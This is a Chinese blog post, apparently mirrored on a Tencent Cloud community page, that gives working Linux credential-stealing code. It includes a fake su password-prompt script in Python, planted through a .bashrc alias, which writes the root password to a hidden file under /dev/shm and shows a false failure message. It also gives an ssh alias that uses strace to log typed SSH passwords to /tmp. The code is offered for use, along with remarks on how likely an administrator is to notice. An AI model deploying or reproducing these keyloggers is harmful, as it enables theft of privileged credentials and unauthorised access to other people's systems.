前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Keyboard Logger On Linux - Part 1

Keyboard Logger On Linux - Part 1

作者头像
风流
发布2018-06-07 13:47:23
1K0
发布2018-06-07 13:47:23
举报
文章被收录于专栏:Urahara BlogUrahara Blog

alias su keylogger

在一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’,低权限用户su root后成功记录密码,但使用这种方法后管理员无法正常su切换至root用户下,所以比较容易被管理员发现。密码记录路径请看脚本。

代码语言:javascript
复制
#!/usr/bin/python
# -*- coding: cp936 -*-

import os, sys, getpass, time

current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log"              //密码获取后记录在这里
#CentOS                 
#fail_str = "su: incorrect password"
#Ubuntu              
#fail_str = "su: Authentication failure"
#For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样
fail_str = "su: incorrect password"
try:
	passwd = getpass.getpass(prompt='Password: ');
	file=open(logfile,'a')
	file.write("[%s]t%s"%(passwd, current_time))   //截取root密码
	file.write('n')
	file.close()
except:
	pass
time.sleep(1)
print fail_str                               //打印切换root失败提示

alias ssh keylogger

同样编辑当前用户下的.bashrc文件,添加以下内容,然后使用source .bashrc 命令使配置生效,当ssh的时候,就会在tmp下面生成记录

代码语言:javascript
复制
alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh' 
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • alias su keylogger
  • alias ssh keylogger
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档